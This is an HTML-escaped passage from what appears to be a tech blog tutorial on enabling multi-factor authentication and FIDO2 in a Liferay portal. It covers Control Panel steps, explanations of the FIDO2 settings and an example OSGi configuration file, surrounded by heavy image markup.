    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:29.000000000000004%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;116\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20116\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2058A652%20652%200%20001%209L0%2058m159-20c-1%203-1%204%205%204l6-1h31c1%202%202%201%202-1l-4-2h-8l-3%201h-4v-1l-2-1c-2%202-11%202-12%201l-6%202h-1l-1-1h-1l-2-1m71%200l-1%202c0%202%201%202%208%202l8%201h3l4-1%202-1h1l7%201%206-1h1c1%201%201%201%201-1s0-2-3-2h-8l-3%201h-3l-2%201h-2l-3-2h-1l-3-1c-2%202-9%202-10%201h-2M118%2091v7l1%205h20V91l-10-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/c85cb/system-settings-configure-and-enable-multifactor-autentication-2.webp 300w,/static/ccc8d473d15c908551d926e93b8c1d9b/e88ff/system-settings-configure-and-enable-multifactor-autentication-2.webp 600w,/static/ccc8d473d15c908551d926e93b8c1d9b/92f8c/system-settings-configure-and-enable-multifactor-autentication-2.webp 1200w,/static/ccc8d473d15c908551d926e93b8c1d9b/62ed8/system-settings-configure-and-enable-multifactor-autentication-2.webp 1800w,/static/ccc8d473d15c908551d926e93b8c1d9b/46261/system-settings-configure-and-enable-multifactor-autentication-2.webp 2400w,/static/ccc8d473d15c908551d926e93b8c1d9b/58fe8/system-settings-configure-and-enable-multifactor-autentication-2.webp 2692w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/5a46d/system-settings-configure-and-enable-multifactor-autentication-2.png 300w,/static/ccc8d473d15c908551d926e93b8c1d9b/0a47e/system-settings-configure-and-enable-multifactor-autentication-2.png 600w,/static/ccc8d473d15c908551d926e93b8c1d9b/c1b63/system-settings-configure-and-enable-multifactor-autentication-2.png 1200w,/static/ccc8d473d15c908551d926e93b8c1d9b/d61c2/system-settings-configure-and-enable-multifactor-autentication-2.png 1800w,/static/ccc8d473d15c908551d926e93b8c1d9b/97a96/system-settings-configure-and-enable-multifactor-autentication-2.png 2400w,/static/ccc8d473d15c908551d926e93b8c1d9b/5b712/system-settings-configure-and-enable-multifactor-autentication-2.png 2692w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - At the system level MFA is enabled&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/c1b63/system-settings-configure-and-enable-multifactor-autentication-2.png&quot; title=&quot;Figure 4 - At the system level MFA is enabled&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - At the system level MFA is enabled&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;What we need to do now is to enable the MFA for the portal instance.
This activity requires only two steps:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Go to &lt;em&gt;Control Panel → Instance Settings → Security → Multi-Factor Authentication → Multi-Factor Authentication One-Time Password Configuration&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Check the &lt;em&gt;Enabled&lt;/em&gt; box and click the &lt;em&gt;Save&lt;/em&gt; button&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The two figures below show the exact steps to take. Immediately after you
saved the configuration, you should see the le appear on the left shoulder
other possible configurations for MFA, one of which is that of FIDO2
(see figure 7).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/b4472/instance-settings-configure-and-enable-multifactor-autentication-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;103\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20103\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%208v6h49v-3l1-2h23c39%200%2062%204%2080%2016%205%203%206%204%204%201-3-3-20-11-30-13-15-4-31-6-56-6H51V1H2v7m2-5L3%208v5h47V3L27%202%204%203m156%2077v16h35V63h-35v17m2-15l-1%2015%201%2015h31V64h-15l-16%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/c85cb/instance-settings-configure-and-enable-multifactor-autentication-1.webp 300w,/static/0dc106e47a13267e0b664e6a4c4a7e55/e88ff/instance-settings-configure-and-enable-multifactor-autentication-1.webp 600w,/static/0dc106e47a13267e0b664e6a4c4a7e55/92f8c/instance-settings-configure-and-enable-multifactor-autentication-1.webp 1200w,/static/0dc106e47a13267e0b664e6a4c4a7e55/62ed8/instance-settings-configure-and-enable-multifactor-autentication-1.webp 1800w,/static/0dc106e47a13267e0b664e6a4c4a7e55/46261/instance-settings-configure-and-enable-multifactor-autentication-1.webp 2400w,/static/0dc106e47a13267e0b664e6a4c4a7e55/5d4d4/instance-settings-configure-and-enable-multifactor-autentication-1.webp 2468w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/5a46d/instance-settings-configure-and-enable-multifactor-autentication-1.png 300w,/static/0dc106e47a13267e0b664e6a4c4a7e55/0a47e/instance-settings-configure-and-enable-multifactor-autentication-1.png 600w,/static/0dc106e47a13267e0b664e6a4c4a7e55/c1b63/instance-settings-configure-and-enable-multifactor-autentication-1.png 1200w,/static/0dc106e47a13267e0b664e6a4c4a7e55/d61c2/instance-settings-configure-and-enable-multifactor-autentication-1.png 1800w,/static/0dc106e47a13267e0b664e6a4c4a7e55/97a96/instance-settings-configure-and-enable-multifactor-autentication-1.png 2400w,/static/0dc106e47a13267e0b664e6a4c4a7e55/b4472/instance-settings-configure-and-enable-multifactor-autentication-1.png 2468w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 5 - Access to enable MFA at the instance configuration level&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/c1b63/instance-settings-configure-and-enable-multifactor-autentication-1.png&quot; title=&quot;Figure 5 - Access to enable MFA at the instance configuration level&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Access to enable MFA at the instance configuration level&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;From the moment the MFA is active, the next login will be required
specify the One-Time Password (OTP) code sent by email for this
reason it is important to configure the server correctly
&lt;a href=&quot;https://learn.liferay.com/dxp/latest/en/installation-and-upgrades/setting-up-liferay/configuring-mail.html&quot;&gt;SMTP for sending email&lt;/a&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/6e20d/instance-settings-configure-and-enable-multifactor-autentication-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;257\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20257\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M125%2060l-1%202a823%20823%200%200127%202c6%200%208-1%208-3h-15c0-2-2-2-3%200h-2c-2-2-6-2-7%200%200%202%200%202-2%200-1-2-1-2-2-1h-3m36%201c-1%203-1%203%205%203l6-1h1l3%201%203-1h1c1%202%2019%202%2020%200h1l2%201c1-2-2-4-5-3l-3-1h-22c-2-1-6%201-6%202l-1%201c-2-4-4-4-5-2m130%200c-2%202%200%203%208%203l7%201h2l3-1%203-1h1l6%201%206-1h1l2%201c1-2-2-4-5-3l-3-1h-23l-4%202h-3l2-1%201-1c-1-1-3-1-4%201M126%2084l-1%2014v13h229V84l-114-1-114%201m0%2014v12h227V85H126v13m6%20125c0%202%208%204%2010%202h27a912%20912%200%200055-2%20266%20266%200%2001-26%200h-66M17%20238c-1%201%200%202%202%203%205%203%20357%203%20362%200%202-1%203-2%202-3H17\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c85cb/instance-settings-configure-and-enable-multifactor-autentication-2.webp 300w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/e88ff/instance-settings-configure-and-enable-multifactor-autentication-2.webp 600w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/92f8c/instance-settings-configure-and-enable-multifactor-autentication-2.webp 1200w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/62ed8/instance-settings-configure-and-enable-multifactor-autentication-2.webp 1800w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/46261/instance-settings-configure-and-enable-multifactor-autentication-2.webp 2400w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/5dbbc/instance-settings-configure-and-enable-multifactor-autentication-2.webp 2902w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/5a46d/instance-settings-configure-and-enable-multifactor-autentication-2.png 300w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/0a47e/instance-settings-configure-and-enable-multifactor-autentication-2.png 600w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c1b63/instance-settings-configure-and-enable-multifactor-autentication-2.png 1200w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/d61c2/instance-settings-configure-and-enable-multifactor-autentication-2.png 1800w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/97a96/instance-settings-configure-and-enable-multifactor-autentication-2.png 2400w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/6e20d/instance-settings-configure-and-enable-multifactor-autentication-2.png 2902w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Enabling the MFA&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c1b63/instance-settings-configure-and-enable-multifactor-autentication-2.png&quot; title=&quot;Figure 6 - Enabling the MFA&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Enabling the MFA&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Once &lt;em&gt;Multi-Factor Authentication&lt;/em&gt; is enabled, you can enable and
configure the use of FIDO2. To carry out this operation it is sufficient
proceed as follows:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Go to &lt;em&gt;Control Panel → Instance Settings → Security → Multi-Factor Authentication&lt;/em&gt;. Make sure you have enabled multi-factor authentication before configuring FIDO2 (see previous step)&lt;/li&gt;&lt;li&gt;Click &lt;em&gt;Fast IDentity Online 2 Configuration&lt;/em&gt; in the left navigation bar&lt;/li&gt;&lt;li&gt;Click the &lt;em&gt;Enabled&lt;/em&gt; checkbox to enable FIDO2&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/bdedb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;141\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20141\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M63%2025c-3%202-1%203%2016%203l16-1c0-2-3-2-11-2a280%20280%200%2001-21%200m136%2030l-8%201c-5%200-5%200-5%202%200%201%200%202%204%202l5-1h1l2%201%201-1h2c1%202%204%203%204%201h10l9-1h1c1%202%202%201%202-1l-4-2-4-1h-20M27%2083v11l1%209h67V83l-34-1-34%201m2%203c0%201%200%202%202%201v1l-1%202-1%202c0%201%200%202%202%201v2h1c1-1%2024-2%2025%200%201%201-3%201-15%201-13%200-13%200-13%203v2h64V84H61c-31%200-32%200-32%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/c85cb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 300w,/static/9e7948f7e5bd2de7f621d71b61e41641/e88ff/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 600w,/static/9e7948f7e5bd2de7f621d71b61e41641/92f8c/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 1200w,/static/9e7948f7e5bd2de7f621d71b61e41641/62ed8/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 1800w,/static/9e7948f7e5bd2de7f621d71b61e41641/46261/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 2400w,/static/9e7948f7e5bd2de7f621d71b61e41641/62e79/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 2715w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/5a46d/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 300w,/static/9e7948f7e5bd2de7f621d71b61e41641/0a47e/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 600w,/static/9e7948f7e5bd2de7f621d71b61e41641/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 1200w,/static/9e7948f7e5bd2de7f621d71b61e41641/d61c2/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 1800w,/static/9e7948f7e5bd2de7f621d71b61e41641/97a96/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 2400w,/static/9e7948f7e5bd2de7f621d71b61e41641/bdedb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 2715w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Access to the configuration of FIDO2 or Fast IDentity Online 2&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png&quot; title=&quot;Figure 7 - Access to the configuration of FIDO2 or Fast IDentity Online 2&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Access to the configuration of FIDO2 or Fast IDentity Online 2&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;By leaving the configuration with the default values, this may be fine for
start testing on your local environment.&lt;/p&gt;&lt;p&gt;You can act on the following settings:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Order&lt;/strong&gt;: Set the priority for MFA control via FIDO2. The higher the number, the higher the priority. The default priority is set so that FIDO2 becomes the highest priority controller when enabled.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party Name&lt;/strong&gt;: An arbitrary name for the website or installation.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allowed Credentials Per User&lt;/strong&gt;: Each user can have the set number of FIDO2 devices.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party ID&lt;/strong&gt;: the &lt;a href=&quot;https://www.w3.org/TR/webauthn-2/#relying-party&quot;&gt;WebAuthn Relying Party identifier&lt;/a&gt;. It is typically set with the portal domain name.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Origins&lt;/strong&gt;: Authenticator responses are compared to this source URL, which should point to your installation or otherwise to the &lt;em&gt;virtual host&lt;/em&gt; of the specific Liferay instance. You can add several values ​​for this configuration. For security reasons it is always recommended to use https to encrypt the connection.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allow Origin Port&lt;/strong&gt;: Check this box to include any port number in the origin matching rule. Setting this option could be useful in a development/test environment.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allow Origin Subdomain&lt;/strong&gt;: Check this box to include any source subdomain in the origin matching rule.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Assuming a real case, we could think of setting the following values
configuration:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Relying Party Name&lt;/strong&gt;: SMC Tech Blog&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party ID&lt;/strong&gt;: techblog.portal.local&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Origins&lt;/strong&gt;: https: //techblog.portal.local&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The figure below shows the configuration of FIDO2 with the values ​​applied
mentioned above.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c2d13/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:115.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;463\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20463\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M113%2079v12h71V68l-36-1h-35v12m1%200l1%2011h67V69h-68v10m0%2051v27l1%2026h271v-54H250l-136%201m2%2026v25h269v-50H116v25m-3%20102v35h271v-71H113v36m2-1v34h268v-67l-134-1H115v34m-2%2070v31h272v-62l-136-1H113v32m2-1v30h268v-60H115v30m282%2078l1%2054%201-9-1-100-1%2055m-285%2013v8h26v-17h-26v9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c85cb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 300w,/static/5aab95b1662fa3232547033b1de4e7ef/e88ff/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 600w,/static/5aab95b1662fa3232547033b1de4e7ef/92f8c/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 1200w,/static/5aab95b1662fa3232547033b1de4e7ef/62ed8/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 1800w,/static/5aab95b1662fa3232547033b1de4e7ef/46261/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 2400w,/static/5aab95b1662fa3232547033b1de4e7ef/5a003/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 2560w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/5a46d/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 300w,/static/5aab95b1662fa3232547033b1de4e7ef/0a47e/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 600w,/static/5aab95b1662fa3232547033b1de4e7ef/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 1200w,/static/5aab95b1662fa3232547033b1de4e7ef/d61c2/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 1800w,/static/5aab95b1662fa3232547033b1de4e7ef/97a96/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 2400w,/static/5aab95b1662fa3232547033b1de4e7ef/c2d13/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 2560w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Complete configuration of the FIDO2 MFA module&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png&quot; title=&quot;Figure 8 - Complete configuration of the FIDO2 MFA module&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Complete configuration of the FIDO2 MFA module&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The same configuration is possible using the
&lt;a href=&quot;https://learn.liferay.com/dxp/latest/en/system-administration/configuring-liferay/configuration-files-and-factories/using-configuration-files.html&quot;&gt;OSGi configuration&lt;/a&gt;
(those that are located in &lt;code&gt;$LIFERAY_HOME/osgi/configs&lt;/code&gt;).
Following is the content of the file &lt;code&gt;com.liferay.multi.factor.authentication.fido2.web.internal.configuration.MFAFIDO2Configuration.scoped~3da064c9-3224-405d-8dc6-677104a70170.config&lt;/code&gt;
which shows the same configuration shown in Figure 8.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowOriginPort&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowOriginSubdomain&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowedCredentialsPerUser&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=I&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;companyId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=L&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;34701&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;origins&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[ \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://techblog.portal.local&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;relyingPartyId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;techblog.portal.local&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;relyingPartyName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;SMC\ Tech\ Blog&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;service.ranking&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=I&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;200&amp;quot;&lt;/span&gt;&lt;/span&gt;
